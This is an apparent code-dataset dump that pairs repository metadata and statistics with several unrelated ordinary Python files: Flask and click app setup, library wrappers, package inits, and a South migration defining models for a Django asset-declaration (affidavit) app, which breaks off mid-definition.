bd479e321320d433bbc33c678b3e0a97640b6cb5
|
[
"MIT"
] | 72
|
2020-01-23T16:56:30.000Z
|
2021-11-14T23:25:15.000Z
|
boot/api/app/main/__init__.py
|
maxmlr/rpi-photobooth
|
bd479e321320d433bbc33c678b3e0a97640b6cb5
|
[
"MIT"
] | null | null | null |
from flask import Blueprint
setup = Blueprint('setup', 'setup', url_prefix='/setup', template_folder='templates')
restapi = Blueprint('restapi', 'restapi', url_prefix='/api/v1', template_folder='templates')
from . import api_routes, setup_routes, login, events
| 37.714286
| 93
| 0.753788
| 33
| 264
| 5.848485
| 0.484848
| 0.145078
| 0.238342
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.004202
| 0.098485
| 264
| 6
| 94
| 44
| 0.806723
| 0
| 0
| 0
| 0
| 0
| 0.208333
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0.75
| 0
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
|
0
| 4
|
65474ae1ac405fe40b06e581cab02d3ad6e90810
| 80
|
py
|
Python
|
pkgs/ops-pkg/src/genie/libs/ops/vrf/vrf.py
|
jbronikowski/genielibs
|
200a34e5fe4838a27b5a80d5973651b2e34ccafb
|
[
"Apache-2.0"
] | 94
|
2018-04-30T20:29:15.000Z
|
2022-03-29T13:40:31.000Z
|
pkgs/ops-pkg/src/genie/libs/ops/vrf/vrf.py
|
jbronikowski/genielibs
|
200a34e5fe4838a27b5a80d5973651b2e34ccafb
|
[
"Apache-2.0"
] | 67
|
2018-12-06T21:08:09.000Z
|
2022-03-29T18:00:46.000Z
|
pkgs/ops-pkg/src/genie/libs/ops/vrf/vrf.py
|
jbronikowski/genielibs
|
200a34e5fe4838a27b5a80d5973651b2e34ccafb
|
[
"Apache-2.0"
] | 49
|
2018-06-29T18:59:03.000Z
|
2022-03-10T02:07:59.000Z
|
# Genie
from genie.ops.base import Base
class Vrf(Base):
exclude = []
| 13.333333
| 32
| 0.625
| 11
| 80
| 4.545455
| 0.727273
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.2625
| 80
| 6
| 33
| 13.333333
| 0.847458
| 0.0625
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
e8da2ce68735206b44e5e95d70216cf20b3f28b7
| 2,003
|
py
|
Python
|
elf/io/intern_wrapper.py
|
constantinpape/elf
|
7d397c0ba9b3c9b14305b8ab6fd8c83fe33ca5d2
|
[
"MIT"
] | 23
|
2019-09-07T23:02:08.000Z
|
2022-03-19T09:50:58.000Z
|
elf/io/intern_wrapper.py
|
constantinpape/elf
|
b99af8255c33d612cf4d5a82741ec77efeece651
|
[
"MIT"
] | 34
|
2019-08-07T11:54:01.000Z
|
2022-03-29T09:50:54.000Z
|
elf/io/intern_wrapper.py
|
constantinpape/elf
|
7d397c0ba9b3c9b14305b8ab6fd8c83fe33ca5d2
|
[
"MIT"
] | 12
|
2019-08-23T09:01:29.000Z
|
2021-11-09T01:21:20.000Z
|
from collections.abc import Mapping
import numpy as np
try:
from intern import array
intern_imported = True
except ImportError:
intern_imported = False
def _check_intern_importable():
if not intern_imported:
raise ImportError(
"Could not import the `intern` library. This means you cannot "
"download or upload cloud datasets. To fix this, you can install "
"intern with: \n\n\t"
"pip install intern"
)
return True
class InternDataset:
def __init__(self, cloud_path):
_check_intern_importable()
self._data = array(cloud_path)
@property
def dtype(self):
return np.dtype(self._data.dtype)
@property
def ndim(self):
return 3 # todo: this COULD be 4 etc...
# TODO chunks are arbitrary, how do we handle this?
@property
def chunks(self):
return None
@property
def shape(self):
return self._data.shape
def __getitem__(self, key):
return self._data[key]
def __setitem__(self, key, value):
self._data[key] = value
@property
def size(self):
shape = self._data.shape
return shape[0] * shape[1] * shape[2]
# dummy attrs to be compatible with h5py/z5py/zarr API
@property
def attrs(self):
return {}
class InternFile(Mapping):
""" Wrapper for an intern dataset
"""
def __init__(self, path, mode="r"):
_check_intern_importable()
self.path = path
self.mode = mode
def __getitem__(self, key):
return InternDataset(self.path)
def __iter__(self):
yield "data"
def __len__(self):
return 1
def __contains__(self, name):
return name == "data"
def __enter__(self):
return self
def __exit__(self, exc_type, exc_val, exc_tb):
self._f.close()
# dummy attrs to be compatible with h5py/z5py/zarr API
@property
def attrs(self):
return {}
| 21.537634
| 78
| 0.611083
| 250
| 2,003
| 4.64
| 0.404
| 0.068966
| 0.05431
| 0.043103
| 0.158621
| 0.118966
| 0.118966
| 0.118966
| 0.118966
| 0.118966
| 0
| 0.007133
| 0.30005
| 2,003
| 92
| 79
| 21.771739
| 0.820257
| 0.109835
| 0
| 0.238095
| 0
| 0
| 0.096447
| 0
| 0
| 0
| 0
| 0.01087
| 0
| 1
| 0.285714
| false
| 0
| 0.190476
| 0.174603
| 0.714286
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
e8f8dd188ea11b670bebbe5e4fea4ca553a9fd87
| 1,258
|
py
|
Python
|
_unittests/ut_sphinxext/data/session1.py
|
janjagusch/pyquickhelper
|
d42e1579ea20f5add9a9cd2b6d2d0a3533aee40b
|
[
"MIT"
] | 18
|
2015-11-10T08:09:23.000Z
|
2022-02-16T11:46:45.000Z
|
_unittests/ut_sphinxext/data/session1.py
|
janjagusch/pyquickhelper
|
d42e1579ea20f5add9a9cd2b6d2d0a3533aee40b
|
[
"MIT"
] | 321
|
2015-06-14T21:34:28.000Z
|
2021-11-28T17:10:03.000Z
|
_unittests/ut_sphinxext/data/session1.py
|
janjagusch/pyquickhelper
|
d42e1579ea20f5add9a9cd2b6d2d0a3533aee40b
|
[
"MIT"
] | 10
|
2015-06-20T01:35:00.000Z
|
2022-01-19T15:54:32.000Z
|
# -*- coding: utf-8 -*-
"""
@file
@brief quelques fonctions à propos de la première séance
"""
def commentaire_accentues():
"""
L'aide de cette fonction contient assuréments des accents.
@FAQ(Python n'accepte pas les accents)
Le langage Python a été conçu en langage anglais. Dès qu'on on ajoute un caractère
qui ne fait pas partie de l'alphabet anglais (ponctuation comprise), il déclenche une erreur :
@code
File "faq_cvxopt.py", line 3
SyntaxError: Non-UTF-8 code starting with '\xe8' in file faq_cvxopt.py on line 4, but no encoding declared;
see http://python.org/dev/peps/pep-0263/ for details
@endcode
Pour la résoudre, il faut dire à l'interpréteur que des caractères non anglais peuvent apparaître
et écrire sur la première ligne du programme :
@code
# -*- coding: latin-1 -*-
@endcode
Ou pour tout caractère y compris chinois :
@code
# -*- coding: utf-8 -*-
@endcode
Si vous utilisez l'éditeur `SciTE <http://www.scintilla.org/SciTE.html>`_ sous Windows,
après avoir ajouté cette ligne avec l'encoding `utf-8`,
il est conseillé de fermer le fichier puis de le réouvrir.
SciTE le traitera différemment.
@endFAQ
"""
pass
| 28.590909
| 111
| 0.675676
| 183
| 1,258
| 4.622951
| 0.688525
| 0.018913
| 0.023641
| 0.035461
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.0125
| 0.236884
| 1,258
| 43
| 112
| 29.255814
| 0.86875
| 0.871224
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.5
| true
| 0.5
| 0
| 0
| 0.5
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
33348e4cd42481afebac63a4e4ccca421fb1018f
| 30
|
py
|
Python
|
doc/version.py
|
pjbollinger/remotestorage.js
|
7711480282d58625f45a2a8108f12a14cad173e5
|
[
"MIT"
] | null | null | null |
doc/version.py
|
pjbollinger/remotestorage.js
|
7711480282d58625f45a2a8108f12a14cad173e5
|
[
"MIT"
] | null | null | null |
doc/version.py
|
pjbollinger/remotestorage.js
|
7711480282d58625f45a2a8108f12a14cad173e5
|
[
"MIT"
] | null | null | null |
__version__ = '2.0.0-alpha.6'
| 15
| 29
| 0.666667
| 6
| 30
| 2.666667
| 0.833333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.148148
| 0.1
| 30
| 1
| 30
| 30
| 0.444444
| 0
| 0
| 0
| 0
| 0
| 0.433333
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
33497433dc4f105a366f6395dc4ed26c85a5dc88
| 460
|
py
|
Python
|
scripts/mynode.py
|
gnulnx/mynode
|
468684e55c4bc7efb30bd3d1f1e090cd0f6dd076
|
[
"MIT"
] | 1
|
2021-12-31T16:27:55.000Z
|
2021-12-31T16:27:55.000Z
|
scripts/mynode.py
|
gnulnx/mynode
|
468684e55c4bc7efb30bd3d1f1e090cd0f6dd076
|
[
"MIT"
] | null | null | null |
scripts/mynode.py
|
gnulnx/mynode
|
468684e55c4bc7efb30bd3d1f1e090cd0f6dd076
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python
import click
import scripts.docker_cmds as dc
@click.group()
@click.version_option()
@click.pass_context
def mynode(ctx):
pass
@mynode.command()
def init():
dc.init()
@mynode.command()
def up():
dc.up()
@mynode.command()
def stop():
dc.stop()
@mynode.command()
def rebuild():
dc.stop()
dc.remove()
dc.init()
@mynode.command()
def status():
dc.status()
if __name__ == "__main__":
mynode()
| 10.952381
| 32
| 0.623913
| 62
| 460
| 4.451613
| 0.467742
| 0.235507
| 0.289855
| 0.137681
| 0.15942
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.197826
| 460
| 41
| 33
| 11.219512
| 0.747967
| 0.043478
| 0
| 0.346154
| 0
| 0
| 0.018223
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.230769
| false
| 0.076923
| 0.076923
| 0
| 0.307692
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
682fa2c516a88cbaec1e299c6a0e267c4e495936
| 279
|
py
|
Python
|
mbuild/recipes/__init__.py
|
tcmoore3/mbuild
|
820e53821caa79dcce5642f4a6bf724e0e384900
|
[
"MIT"
] | null | null | null |
mbuild/recipes/__init__.py
|
tcmoore3/mbuild
|
820e53821caa79dcce5642f4a6bf724e0e384900
|
[
"MIT"
] | null | null | null |
mbuild/recipes/__init__.py
|
tcmoore3/mbuild
|
820e53821caa79dcce5642f4a6bf724e0e384900
|
[
"MIT"
] | null | null | null |
__all__ = ['Polymer', 'TiledCompound', 'Monolayer', 'SilicaInterface']
from mbuild.recipes.polymer import Polymer
from mbuild.recipes.tiled_compound import TiledCompound
from mbuild.recipes.monolayer import Monolayer
from mbuild.recipes.silica_interface import SilicaInterface
| 34.875
| 70
| 0.835125
| 31
| 279
| 7.322581
| 0.419355
| 0.176211
| 0.299559
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.086022
| 279
| 7
| 71
| 39.857143
| 0.890196
| 0
| 0
| 0
| 0
| 0
| 0.157706
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.8
| 0
| 0.8
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
6834d88daa67876d23d0dbe05e0a34c9ddf15d6f
| 27,767
|
py
|
Python
|
ddjj/ddjjapp/migrations/0001_initial.py
|
gusajz/ddjj
|
a5a918ff0a6121079f1b8ad4f4db2b6b72ec4dd2
|
[
"MIT"
] | null | null | null |
ddjj/ddjjapp/migrations/0001_initial.py
|
gusajz/ddjj
|
a5a918ff0a6121079f1b8ad4f4db2b6b72ec4dd2
|
[
"MIT"
] | null | null | null |
ddjj/ddjjapp/migrations/0001_initial.py
|
gusajz/ddjj
|
a5a918ff0a6121079f1b8ad4f4db2b6b72ec4dd2
|
[
"MIT"
] | 1
|
2020-02-16T17:14:55.000Z
|
2020-02-16T17:14:55.000Z
|
# -*- coding: utf-8 -*-
import datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding model 'PreviousJob'
db.create_table(u'ddjjapp_previousjob', (
(u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('begin_date', self.gf('django.db.models.fields.DateField')()),
('end_date', self.gf('django.db.models.fields.DateField')()),
('company', self.gf('django.db.models.fields.CharField')(max_length=50)),
('company_activity', self.gf('django.db.models.fields.CharField')(max_length=50)),
('position', self.gf('django.db.models.fields.CharField')(max_length=50)),
('was_state_related', self.gf('django.db.models.fields.BooleanField')(default=False)),
))
db.send_create_signal(u'ddjjapp', ['PreviousJob'])
# Adding model 'AffidavitTemplate'
db.create_table(u'ddjjapp_affidavittemplate', (
(u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('power', self.gf('django.db.models.fields.CharField')(default='E', max_length=1)),
('jurisdiction', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['ddjjapp.Jurisdiction'])),
('sample_document', self.gf('django.db.models.fields.files.FileField')(max_length=100)),
('init_date', self.gf('django.db.models.fields.DateField')()),
('finish_date', self.gf('django.db.models.fields.DateField')()),
))
db.send_create_signal(u'ddjjapp', ['AffidavitTemplate'])
# Adding model 'Document'
db.create_table(u'ddjjapp_document', (
(u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('document_file', self.gf('django.db.models.fields.files.FileField')(max_length=100)),
('upload_date', self.gf('django.db.models.fields.DateTimeField')()),
('template', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['ddjjapp.AffidavitTemplate'])),
('notes', self.gf('django.db.models.fields.TextField')()),
))
db.send_create_signal(u'ddjjapp', ['Document'])
# Adding model 'Affidavit'
db.create_table(u'ddjjapp_affidavit', (
(u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('original_document', self.gf('django.db.models.fields.related.OneToOneField')(to=orm['ddjjapp.Document'], unique=True)),
('submission_date', self.gf('django.db.models.fields.DateTimeField')()),
('person', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['ddjjapp.Person'])),
('marital_status', self.gf('django.db.models.fields.CharField')(default='M', max_length=1)),
('position_entry_date', self.gf('django.db.models.fields.DateField')()),
('position', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['ddjjapp.Position'])),
('contract_type', self.gf('django.db.models.fields.CharField')(max_length=50)),
('anual_net_salary', self.gf('django.db.models.fields.DecimalField')(max_digits=12, decimal_places=2)),
('studies', self.gf('django.db.models.fields.CharField')(max_length=100)),
('spouse', self.gf('django.db.models.fields.related.ForeignKey')(related_name='+', to=orm['ddjjapp.Person'])),
('voluntary_retirement', self.gf('django.db.models.fields.BooleanField')(default=False)),
('worked_before_position', self.gf('django.db.models.fields.BooleanField')(default=False)),
))
db.send_create_signal(u'ddjjapp', ['Affidavit'])
# Adding M2M table for field sons on 'Affidavit'
m2m_table_name = db.shorten_name(u'ddjjapp_affidavit_sons')
db.create_table(m2m_table_name, (
('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True)),
('affidavit', models.ForeignKey(orm[u'ddjjapp.affidavit'], null=False)),
('person', models.ForeignKey(orm[u'ddjjapp.person'], null=False))
))
db.create_unique(m2m_table_name, ['affidavit_id', 'person_id'])
# Adding model 'Income'
db.create_table(u'ddjjapp_income', (
(u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('affidavit', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['ddjjapp.Affidavit'])),
('ammount_year', self.gf('django.db.models.fields.DecimalField')(max_digits=12, decimal_places=2)),
('notes', self.gf('django.db.models.fields.TextField')()),
))
db.send_create_signal(u'ddjjapp', ['Income'])
# Adding model 'Property'
db.create_table(u'ddjjapp_property', (
(u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('polymorphic_ctype', self.gf('django.db.models.fields.related.ForeignKey')(related_name=u'polymorphic_ddjjapp.property_set', null=True, to=orm['contenttypes.ContentType'])),
('percentage', self.gf('django.db.models.fields.DecimalField')(max_digits=3, decimal_places=2)),
('buy_year', self.gf('django.db.models.fields.DateField')()),
('bought_value', self.gf('django.db.models.fields.DecimalField')(max_digits=10, decimal_places=2)),
('affidavit', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['ddjjapp.Affidavit'])),
('money_origin', self.gf('django.db.models.fields.CharField')(max_length=100)),
))
db.send_create_signal(u'ddjjapp', ['Property'])
# Adding model 'FiscalProperty'
db.create_table(u'ddjjapp_fiscalproperty', (
(u'property_ptr', self.gf('django.db.models.fields.related.OneToOneField')(to=orm['ddjjapp.Property'], unique=True, primary_key=True)),
('fiscal_value', self.gf('django.db.models.fields.DecimalField')(max_digits=10, decimal_places=2)),
))
db.send_create_signal(u'ddjjapp', ['FiscalProperty'])
# Adding model 'PaperProperty'
db.create_table(u'ddjjapp_paperproperty', (
(u'property_ptr', self.gf('django.db.models.fields.related.OneToOneField')(to=orm['ddjjapp.Property'], unique=True, primary_key=True)),
('current_value', self.gf('django.db.models.fields.DecimalField')(max_digits=10, decimal_places=2)),
))
db.send_create_signal(u'ddjjapp', ['PaperProperty'])
# Adding model 'RealState'
db.create_table(u'ddjjapp_realstate', (
(u'fiscalproperty_ptr', self.gf('django.db.models.fields.related.OneToOneField')(to=orm['ddjjapp.FiscalProperty'], unique=True, primary_key=True)),
('property_type', self.gf('django.db.models.fields.CharField')(default='H', max_length=1)),
('neighborhood', self.gf('django.db.models.fields.CharField')(max_length=100)),
('city', self.gf('django.db.models.fields.CharField')(max_length=100)),
('state', self.gf('django.db.models.fields.CharField')(max_length=100)),
('country', self.gf('django.db.models.fields.CharField')(max_length=100)),
('size', self.gf('django.db.models.fields.DecimalField')(max_digits=10, decimal_places=2)),
('unidad', self.gf('django.db.models.fields.CharField')(max_length=10)),
('improvements', self.gf('django.db.models.fields.DecimalField')(max_digits=10, decimal_places=2)),
))
db.send_create_signal(u'ddjjapp', ['RealState'])
# Adding model 'CompanyShare'
db.create_table(u'ddjjapp_companyshare', (
(u'paperproperty_ptr', self.gf('django.db.models.fields.related.OneToOneField')(to=orm['ddjjapp.PaperProperty'], unique=True, primary_key=True)),
('society_type', self.gf('django.db.models.fields.CharField')(max_length=100)),
('company_activity', self.gf('django.db.models.fields.CharField')(max_length=100)),
('state_related', self.gf('django.db.models.fields.BooleanField')(default=False)),
))
db.send_create_signal(u'ddjjapp', ['CompanyShare'])
# Adding model 'FinanctialProperty'
db.create_table(u'ddjjapp_financtialproperty', (
(u'paperproperty_ptr', self.gf('django.db.models.fields.related.OneToOneField')(to=orm['ddjjapp.PaperProperty'], unique=True, primary_key=True)),
('property_type', self.gf('django.db.models.fields.CharField')(default='S', max_length=1)),
('description', self.gf('django.db.models.fields.CharField')(max_length=100)),
('company_activity', self.gf('django.db.models.fields.CharField')(max_length=100)),
('quantity', self.gf('django.db.models.fields.IntegerField')()),
))
db.send_create_signal(u'ddjjapp', ['FinanctialProperty'])
# Adding model 'BankAccount'
db.create_table(u'ddjjapp_bankaccount', (
(u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('property_type', self.gf('django.db.models.fields.CharField')(default='C', max_length=1)),
('currency', self.gf('django.db.models.fields.CharField')(default='ARS', max_length=3)),
))
db.send_create_signal(u'ddjjapp', ['BankAccount'])
# Adding model 'PersonalProperty'
db.create_table(u'ddjjapp_personalproperty', (
(u'fiscalproperty_ptr', self.gf('django.db.models.fields.related.OneToOneField')(to=orm['ddjjapp.FiscalProperty'], unique=True, primary_key=True)),
('property_type', self.gf('django.db.models.fields.CharField')(default='C', max_length=1)),
('description', self.gf('django.db.models.fields.CharField')(max_length=100)),
('fabrication_year', self.gf('django.db.models.fields.DateField')()),
))
db.send_create_signal(u'ddjjapp', ['PersonalProperty'])
# Adding model 'Jurisdiction'
db.create_table(u'ddjjapp_jurisdiction', (
(u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('name', self.gf('django.db.models.fields.CharField')(max_length=50)),
('parent', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['ddjjapp.Jurisdiction'])),
))
db.send_create_signal(u'ddjjapp', ['Jurisdiction'])
# Adding model 'OtherActivities'
db.create_table(u'ddjjapp_otheractivities', (
(u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('company', self.gf('django.db.models.fields.CharField')(max_length=100)),
('activity', self.gf('django.db.models.fields.CharField')(max_length=100)),
('position', self.gf('django.db.models.fields.CharField')(max_length=100)),
('init_date', self.gf('django.db.models.fields.DateField')()),
('finish_date', self.gf('django.db.models.fields.DateField')()),
('leave', self.gf('django.db.models.fields.BooleanField')(default=False)),
('hours_per_week', self.gf('django.db.models.fields.DecimalField')(max_digits=3, decimal_places=2)),
('state_related', self.gf('django.db.models.fields.BooleanField')(default=False)),
))
db.send_create_signal(u'ddjjapp', ['OtherActivities'])
# Adding model 'Person'
db.create_table(u'ddjjapp_person', (
(u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('id_type', self.gf('django.db.models.fields.CharField')(default='D', max_length=1)),
('id_number', self.gf('django.db.models.fields.CharField')(max_length=15)),
('name', self.gf('django.db.models.fields.CharField')(max_length=100)),
('last_name', self.gf('django.db.models.fields.CharField')(max_length=100)),
('birth_date', self.gf('django.db.models.fields.DateField')()),
('gender', self.gf('django.db.models.fields.CharField')(default='M', max_length=1)),
('notes', self.gf('django.db.models.fields.TextField')()),
))
db.send_create_signal(u'ddjjapp', ['Person'])
# Adding model 'Office'
db.create_table(u'ddjjapp_office', (
(u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('name', self.gf('django.db.models.fields.CharField')(max_length=100)),
('parent', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['ddjjapp.Office'])),
('jurisdiction', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['ddjjapp.Jurisdiction'])),
))
db.send_create_signal(u'ddjjapp', ['Office'])
# Adding model 'Position'
db.create_table(u'ddjjapp_position', (
(u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('name', self.gf('django.db.models.fields.CharField')(max_length=100)),
('office', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['ddjjapp.Office'])),
('notes', self.gf('django.db.models.fields.TextField')()),
))
db.send_create_signal(u'ddjjapp', ['Position'])
def backwards(self, orm):
# Deleting model 'PreviousJob'
db.delete_table(u'ddjjapp_previousjob')
# Deleting model 'AffidavitTemplate'
db.delete_table(u'ddjjapp_affidavittemplate')
# Deleting model 'Document'
db.delete_table(u'ddjjapp_document')
# Deleting model 'Affidavit'
db.delete_table(u'ddjjapp_affidavit')
# Removing M2M table for field sons on 'Affidavit'
db.delete_table(db.shorten_name(u'ddjjapp_affidavit_sons'))
# Deleting model 'Income'
db.delete_table(u'ddjjapp_income')
# Deleting model 'Property'
db.delete_table(u'ddjjapp_property')
# Deleting model 'FiscalProperty'
db.delete_table(u'ddjjapp_fiscalproperty')
# Deleting model 'PaperProperty'
db.delete_table(u'ddjjapp_paperproperty')
# Deleting model 'RealState'
db.delete_table(u'ddjjapp_realstate')
# Deleting model 'CompanyShare'
db.delete_table(u'ddjjapp_companyshare')
# Deleting model 'FinanctialProperty'
db.delete_table(u'ddjjapp_financtialproperty')
# Deleting model 'BankAccount'
db.delete_table(u'ddjjapp_bankaccount')
# Deleting model 'PersonalProperty'
db.delete_table(u'ddjjapp_personalproperty')
# Deleting model 'Jurisdiction'
db.delete_table(u'ddjjapp_jurisdiction')
# Deleting model 'OtherActivities'
db.delete_table(u'ddjjapp_otheractivities')
# Deleting model 'Person'
db.delete_table(u'ddjjapp_person')
# Deleting model 'Office'
db.delete_table(u'ddjjapp_office')
# Deleting model 'Position'
db.delete_table(u'ddjjapp_position')
models = {
u'contenttypes.contenttype': {
'Meta': {'ordering': "('name',)", 'unique_together': "(('app_label', 'model'),)", 'object_name': 'ContentType', 'db_table': "'django_content_type'"},
'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '100'})
},
u'ddjjapp.affidavit': {
'Meta': {'object_name': 'Affidavit'},
'anual_net_salary': ('django.db.models.fields.DecimalField', [], {'max_digits': '12', 'decimal_places': '2'}),
'contract_type': ('django.db.models.fields.CharField', [], {'max_length': '50'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'marital_status': ('django.db.models.fields.CharField', [], {'default': "'M'", 'max_length': '1'}),
'original_document': ('django.db.models.fields.related.OneToOneField', [], {'to': u"orm['ddjjapp.Document']", 'unique': 'True'}),
'person': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['ddjjapp.Person']"}),
'position': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['ddjjapp.Position']"}),
'position_entry_date': ('django.db.models.fields.DateField', [], {}),
'sons': ('django.db.models.fields.related.ManyToManyField', [], {'related_name': "'+'", 'symmetrical': 'False', 'to': u"orm['ddjjapp.Person']"}),
'spouse': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'+'", 'to': u"orm['ddjjapp.Person']"}),
'studies': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'submission_date': ('django.db.models.fields.DateTimeField', [], {}),
'voluntary_retirement': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'worked_before_position': ('django.db.models.fields.BooleanField', [], {'default': 'False'})
},
u'ddjjapp.affidavittemplate': {
'Meta': {'object_name': 'AffidavitTemplate'},
'finish_date': ('django.db.models.fields.DateField', [], {}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'init_date': ('django.db.models.fields.DateField', [], {}),
'jurisdiction': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['ddjjapp.Jurisdiction']"}),
'power': ('django.db.models.fields.CharField', [], {'default': "'E'", 'max_length': '1'}),
'sample_document': ('django.db.models.fields.files.FileField', [], {'max_length': '100'})
},
u'ddjjapp.bankaccount': {
'Meta': {'object_name': 'BankAccount'},
'currency': ('django.db.models.fields.CharField', [], {'default': "'ARS'", 'max_length': '3'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'property_type': ('django.db.models.fields.CharField', [], {'default': "'C'", 'max_length': '1'})
},
u'ddjjapp.companyshare': {
'Meta': {'object_name': 'CompanyShare', '_ormbases': [u'ddjjapp.PaperProperty']},
'company_activity': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
u'paperproperty_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': u"orm['ddjjapp.PaperProperty']", 'unique': 'True', 'primary_key': 'True'}),
'society_type': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'state_related': ('django.db.models.fields.BooleanField', [], {'default': 'False'})
},
u'ddjjapp.document': {
'Meta': {'object_name': 'Document'},
'document_file': ('django.db.models.fields.files.FileField', [], {'max_length': '100'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'notes': ('django.db.models.fields.TextField', [], {}),
'template': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['ddjjapp.AffidavitTemplate']"}),
'upload_date': ('django.db.models.fields.DateTimeField', [], {})
},
u'ddjjapp.financtialproperty': {
'Meta': {'object_name': 'FinanctialProperty', '_ormbases': [u'ddjjapp.PaperProperty']},
'company_activity': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'description': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
u'paperproperty_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': u"orm['ddjjapp.PaperProperty']", 'unique': 'True', 'primary_key': 'True'}),
'property_type': ('django.db.models.fields.CharField', [], {'default': "'S'", 'max_length': '1'}),
'quantity': ('django.db.models.fields.IntegerField', [], {})
},
u'ddjjapp.fiscalproperty': {
'Meta': {'object_name': 'FiscalProperty', '_ormbases': [u'ddjjapp.Property']},
